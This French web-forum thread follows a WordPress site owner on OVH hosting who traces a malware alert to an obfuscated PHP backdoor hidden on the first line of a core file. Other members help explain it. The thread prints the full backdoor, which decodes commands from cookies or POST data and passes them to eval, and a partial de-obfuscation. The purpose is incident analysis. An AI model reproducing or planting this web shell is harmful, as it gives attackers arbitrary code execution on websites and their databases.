IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

WordPress PHP Discussion :

Fichier suspect pour OVH ==> class-walker-category-checklist.php


Sujet :

WordPress PHP

  1. #1
    Membre du Club
    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 152
    Points : 56
    Points
    56
    Par défaut Fichier suspect pour OVH ==> class-walker-category-checklist.php
    Bonjour,

    Je suis en train d'installer un blog Wordpress chez OVH.

    OVH me remonte l'alerte suivant :

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    {
      "www/wp-admin/includes/class-walker-category-checklist.php": {
        "ovh_suspicious_printable_hex_in_string": {
          "source": "ovh",
          "category": "suspicious"
        }
      }
    }

    Je ne comprends pas car il semble s'agir d'un fichier standard à WP ( class-walker-category-checklist.php ).
    Avez vous déjà rencontré le problème ?

    Cela est bloquant ... dans l'attente de la résolution du problème, ils désactivent la fonction MAIL !

    Merci.

  2. #2
    Expert éminent
    Avatar de Watilin
    Homme Profil pro
    En recherche d'emploi
    Inscrit en
    Juin 2010
    Messages
    3 093
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 35
    Localisation : France, Ille et Vilaine (Bretagne)

    Informations professionnelles :
    Activité : En recherche d'emploi

    Informations forums :
    Inscription : Juin 2010
    Messages : 3 093
    Points : 6 754
    Points
    6 754
    Par défaut
    Je n’ai jamais rencontré ce message d’erreur avec OVH, mais d’après le nom de l’erreur printable_hex_in_string, il semblerait que le fichier contienne une ou plusieurs séquences de code hexadécimal qui devraient ressembler à quelque chose comme ceci :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    \x11\x04\x71\x91\x14\xBB\x08
    ou comme ça :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    0xFA,0x02,0x7F,0x7A,0x58,0x7C
    Le système d’OVH considère ça comme du code obfusqué, autrement dit une chaîne qui est transformée en code exécutable via eval ou une méthode similaire, et qui pourrait contenir n’importe quoi, donc potentiellement du code malveillant.

    Vérifie que ton fichier contient quelque chose qui ressemble à ça. Si c’est le cas, ton site a probablement été infecté, il faudra que tu réinstalles Wordpress, et que tu le tiennes à jour pour éviter de futures infections.

    Dans le cas contraire, c’est un faux positif, contacte le support d’OVH.
    La FAQ JavaScript – Les cours JavaScript
    Touche F12 = la console → l’outil indispensable pour développer en JavaScript !

  3. #3
    Membre du Club
    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 152
    Points : 56
    Points
    56
    Par défaut
    Merci d'avoir pris le temps de répondre à ma question.

    Concernant le code hexadécimal, il apparaîtrait tel quel dans le fichier ?
    Quand j'ouvre le fichier dans Notepad++, je ne le vois pas.

    De plus j'ai comparé le fichier avec le fichier issu d'une nouvelle installation, je ne note pas de différence dans le fichier.
    Etrange !

    J'ai prévenu OVH et leur ai demandé s'ils avaient la possibilité de m'indiquer ce qui selon eux, pourrait poser problème.

    Affaire à suivre.

  4. #4
    Membre du Club
    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 152
    Points : 56
    Points
    56
    Par défaut
    J'ai enfin trouvé l'origine du problème.
    Je partage ... ça peut servir !

    Alors en fait, quand je comparais mon fichier avec le fichier original je ne notais aucune différence.
    Sauf que ... la différence était "bien" cachée !!!

    Le fichier faisait le même nombre de lignes.
    Sauf que positionné sur la 1ère ligne du fichier, bien décalé sur la droite pour que l'on ne voit rien (sauf en déplacant beaucoup l'ascenseur horizontal), il y avait un long morceau de code d'ajouté (10467 caractères tout de même !).
    Je n'avais même pas fait attention à la différence de taille des 2 fichiers.
    Et c'est la présence de la fonction EVAL dans ce code qui a été détectée par les outils OVH et qui a donc permis de repérer l'anomalie.

    @Watilin
    tu avais donc parfaitement raison et tout de suite compris le problème !


    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    $g16c351 = 842;$GLOBALS['mc43']=Array();global$mc43;$mc43=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['zd53d2ffa
    .... 
    [84]]($dd81e56);}elseif($ncdc79ac[$mc43['zd53d2ffa'][32]]==$mc43['zd53d2ffa'][41]){eval/*id63b40*/($ncdc79ac[$mc43['zd53d2ffa'][8]]);}exit();} ?>

  5. #5
    Membre du Club
    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 152
    Points : 56
    Points
    56
    Par défaut
    Quelqu'un pourrait il m'expliquer comment agit l'extrait de code ci dessous, qui a été importé dans un fichier à mon insu ?
    Comment est il susceptible de générer du spam ?


    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    $g16c351 = 842;$GLOBALS['mc43']=Array();global$mc43;$mc43=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['zd53d2ffa
    .... 
    [84]]($dd81e56);}elseif($ncdc79ac[$mc43['zd53d2ffa'][32]]==$mc43['zd53d2ffa'][41]){eval/*id63b40*/($ncdc79ac[$mc43['zd53d2ffa'][8]]);}exit();} ?>

  6. #6
    Expert éminent sénior
    Avatar de mathieu
    Profil pro
    Inscrit en
    Juin 2003
    Messages
    10 235
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Juin 2003
    Messages : 10 235
    Points : 15 532
    Points
    15 532
    Par défaut
    Le code n'a pas l'air complet, il y a des "..." à la 2e ligne.

  7. #7
    Membre du Club
    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 152
    Points : 56
    Points
    56
    Par défaut
    ah en fait j'avais pas tout mis car il y en a beaucoup !!
    voici la totalité du code qui a été insérée, le tout sur une seule ligne et sur la 1ère ligne du fichier.

    C'est la fonction EVAL en bout de chaîne, qui a permis à OVH de repérer l'anomalie, semble t il.


    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
     
    <?php
    $g16c351 = 842;$GLOBALS['mc43']=Array();global$mc43;$mc43=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['zd53d2ffa']="\x3d\x39\x3e\xa\x71\x50\x4d\x4a\x64\x40\x42\x24\x5a\x23\x7e\x75\x2f\x44\x73\x53\x3a\x27\x76\x7c\x67\x7a\x4c\x69\x6d\x32\x66\x78\x61\x68\x46\x63\x2c\x2a\x29\x6b\x22\x65\x56\x72\x55\x48\x6c\x5c\x58\x51\x25\x9\x35\xd\x6a\x3b\x34\x5d\x43\x77\x4f\x70\x60\x49\x2b\x79\x54\x38\x57\x6f\x45\x5f\x3c\x41\x59\x5b\x5e\x28\x3f\x7b\x36\x4e\x6e\x33\x31\x26\x2d\x4b\x2e\x20\x37\x30\x62\x74\x21\x7d\x52\x47";$mc43[$mc43['zd53d2ffa'][33].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][56]]=$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][33].$mc43['zd53d2ffa'][43];$mc43[$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][84]]=$mc43['zd53d2ffa'][69].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][8];$mc43[$mc43['zd53d2ffa'][59].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][90]]=$mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][93].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][46].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][82];$mc43[$mc43['zd53d2ffa'][25].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][30]]=$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][82].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][71].$mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][93];$mc43[$mc43['zd53d2ffa'][28].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][30].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][84]]=$mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][46].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][25].$mc43['zd53d2ffa'][41];$mc43[$mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][29].$mc43['zd53d2ffa'][56]]=$mc43['zd53d2ffa'][61].$mc43['zd53d2ffa'][33].$mc43['zd53d2ffa'][61].$mc43['zd53d2ffa'][22].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][69].$mc43['zd53d2ffa'][82];$mc43[$mc43['zd53d2ffa'][39].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][30]]=$mc43['zd53d2ffa'][15].$mc43['zd53d2ffa'][82].$mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][46].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][25].$mc43['zd53d2ffa'][41];$mc43[$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][30].$mc43['zd53d2ffa'][30].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][1]]=$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][71].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][69].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][41];$mc43[$mc43['zd53d2ffa'][93].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][52]]=$mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][93].$mc43['zd53d2ffa'][71].$mc43['zd53d2ffa'][93].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][28].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][71].$mc43['zd53d2ffa'][46].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][28].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][93];$mc43[$mc43['zd53d2ffa'][59].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][84]]=$mc43['zd53d2ffa'][28].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][52];$mc43[$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][92]]=$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][67];$mc43[$mc43['zd53d2ffa'][25].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][30].$mc43['zd53d2ffa'][8]]=$_POST;$mc43[$mc43['zd53d2ffa'][4].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][56]]=$_COOKIE;@$mc43[$mc43['zd53d2ffa'][25].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][30]]($mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][69].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][71].$mc43['zd53d2ffa'][46].$mc43['zd53d2ffa'][69].$mc43['zd53d2ffa'][24],NULL);@$mc43[$mc43['zd53d2ffa'][25].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][30]]($mc43['zd53d2ffa'][46].$mc43['zd53d2ffa'][69].$mc43['zd53d2ffa'][24].$mc43['zd53d2ffa'][71].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][69].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][18],0);@$mc43[$mc43['zd53d2ffa'][25].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][30]]($mc43['zd53d2ffa'][28].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][31].$mc43['zd53d2ffa'][71].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][31].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][15].$mc43['zd53d2ffa'][93].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][69].$mc43['zd53d2ffa'][82].$mc43['zd53d2ffa'][71].$mc43['zd53d2ffa'][93].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][28].$mc43['zd53d2ffa'][41],0);@$mc43[$mc43['zd53d2ffa'][93].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][52]](0);$ncdc79ac=NULL;$mbfde3a6=NULL;$mc43[$mc43['zd53d2ffa'][22].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][84]]=$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][86].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][86].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][29].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][86].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][86].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][92];global$v551;function c14ca38($ncdc79ac,$fd82){global$mc43;$i9acb="";for($dd81e56=0;$dd81e56<$mc43[$mc43['zd53d2ffa'][59].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][90]]($ncdc79ac);){for($e7dae=0;$e7dae<$mc43[$mc43['zd53d2ffa'][59].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][90]]($fd82)&&$dd81e56<$mc43[$mc43['zd53d2ffa'][59].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][90]]($ncdc79ac);$e7dae++,$dd81e56++){$i9acb.=$mc43[$mc43['zd53d2ffa'][33].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][56]]($mc43[$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][84]]($ncdc79ac[$dd81e56])^$mc43[$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][84]]($fd82[$e7dae]));}}return$i9acb;}function maa3a05($ncdc79ac,$fd82){global$mc43;global$v551;return$mc43[$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][92]]($mc43[$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][92]]($ncdc79ac,$v551),$fd82);}foreach($mc43[$mc43['zd53d2ffa'][4].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][56]]as$fd82=>$r28859fa8){$ncdc79ac=$r28859fa8;$mbfde3a6=$fd82;}if(!$ncdc79ac){foreach($mc43[$mc43['zd53d2ffa'][25].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][30].$mc43['zd53d2ffa'][8]]as$fd82=>$r28859fa8){$ncdc79ac=$r28859fa8;$mbfde3a6=$fd82;}}$ncdc79ac=@$mc43[$mc43['zd53d2ffa'][39].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][30]]($mc43[$mc43['zd53d2ffa'][59].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][84]]($mc43[$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][30].$mc43['zd53d2ffa'][30].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][1]]($ncdc79ac),$mbfde3a6));if(isset($ncdc79ac[$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][39]])&&$v551==$ncdc79ac[$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][39]]){if($ncdc79ac[$mc43['zd53d2ffa'][32]]==$mc43['zd53d2ffa'][27]){$dd81e56=Array($mc43['zd53d2ffa'][61].$mc43['zd53d2ffa'][22]=>@$mc43[$mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][29].$mc43['zd53d2ffa'][56]](),$mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][22]=>$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][88].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][86].$mc43['zd53d2ffa'][84],);echo@$mc43[$mc43['zd53d2ffa'][28].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][30].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][84]]($dd81e56);}elseif($ncdc79ac[$mc43['zd53d2ffa'][32]]==$mc43['zd53d2ffa'][41]){eval/*id63b40*/($ncdc79ac[$mc43['zd53d2ffa'][8]]);}exit();} ?>
    <?php  
    ....

  8. #8
    Expert éminent sénior
    Avatar de mathieu
    Profil pro
    Inscrit en
    Juin 2003
    Messages
    10 235
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Juin 2003
    Messages : 10 235
    Points : 15 532
    Points
    15 532
    Par défaut
    D'après ce que j'ai trouvé, ce code sert à exécuter n'importe quel code PHP passé en paramètre de ce fichier. Cela peut être de la lecture ou modification de tous les fichiers et de la base de données.

  9. #9
    Membre du Club
    Profil pro
    Inscrit en
    Janvier 2007
    Messages
    152
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Janvier 2007
    Messages : 152
    Points : 56
    Points
    56
    Par défaut
    Ah oui quand même !!

    Mais comment interpréter cet type de suite ?
    Ca correspondrait aux paramètres passés au fichier ?

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
     ... x39\x3e\xa\x71\x50\x4d\x4a\x64\x40\x42\ ...

  10. #10
    Expert éminent
    Avatar de Watilin
    Homme Profil pro
    En recherche d'emploi
    Inscrit en
    Juin 2010
    Messages
    3 093
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 35
    Localisation : France, Ille et Vilaine (Bretagne)

    Informations professionnelles :
    Activité : En recherche d'emploi

    Informations forums :
    Inscription : Juin 2010
    Messages : 3 093
    Points : 6 754
    Points
    6 754
    Par défaut
    Le code obfusqué est volontairement conçu pour être difficile à déchiffrer. Cependant, on peut tenter différentes approches pour en avoir un début de compréhension. Commençons par refaire l’indentation :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    <?php
    $g16c351 = 842;
    $GLOBALS['mc43'] = Array();
    global $mc43;
    $mc43 = $GLOBALS;
    ${"\x47\x4c\x4fB\x41\x4c\x53"}['zd53d2ffa'] = "\x3d\x39\x3e\xa\x71\x50\x4d\x4a\x64\x40\x42\x24\x5a\x23\x7e\x75\x2f\x44\x73\x53\x3a\x27\x76\x7c\x67\x7a\x4c\x69\x6d\x32\x66\x78\x61\x68\x46\x63\x2c\x2a\x29\x6b\x22\x65\x56\x72\x55\x48\x6c\x5c\x58\x51\x25\x9\x35\xd\x6a\x3b\x34\x5d\x43\x77\x4f\x70\x60\x49\x2b\x79\x54\x38\x57\x6f\x45\x5f\x3c\x41\x59\x5b\x5e\x28\x3f\x7b\x36\x4e\x6e\x33\x31\x26\x2d\x4b\x2e\x20\x37\x30\x62\x74\x21\x7d\x52\x47";
    $mc43[$mc43['zd53d2ffa'][33].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][56]] = $mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][33].$mc43['zd53d2ffa'][43];
    $mc43[$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][91].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][84]] = $mc43['zd53d2ffa'][69].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][8];
    $mc43[$mc43['zd53d2ffa'][59].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][90].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][90]] = $mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][93].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][46].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][82];
    $mc43[$mc43['zd53d2ffa'][25].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][30]] = $mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][82].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][71].$mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][93];
    $mc43[$mc43['zd53d2ffa'][28].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][30].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][84]] = $mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][46].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][25].$mc43['zd53d2ffa'][41];
    $mc43[$mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][1].$mc43['zd53d2ffa'][84].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][29].$mc43['zd53d2ffa'][56]] = $mc43['zd53d2ffa'][61].$mc43['zd53d2ffa'][33].$mc43['zd53d2ffa'][61].$mc43['zd53d2ffa'][22].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][69].$mc43['zd53d2ffa'][82];
    $mc43[$mc43['zd53d2ffa'][39].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][67].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][52].$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][30]] = $mc43['zd53d2ffa'][15].$mc43['zd53d2ffa'][82].$mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][43].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][46].$mc43['zd53d2ffa'][27].$mc43['zd53d2ffa'][25].$mc43['zd53d2ffa'][41];
    $mc43[$mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][30].$mc43['zd53d2ffa'][30].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][83].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][1]] = $mc43['zd53d2ffa'][92].$mc43['zd53d2ffa'][32].$mc43['zd53d2ffa'][18].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][80].$mc43['zd53d2ffa'][56].$mc43['zd53d2ffa'][71].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][41].$mc43['zd53d2ffa'][35].$mc43['zd53d2ffa'][69].$mc43['zd53d2ffa'][8].$mc43['zd53d2ffa'][41];
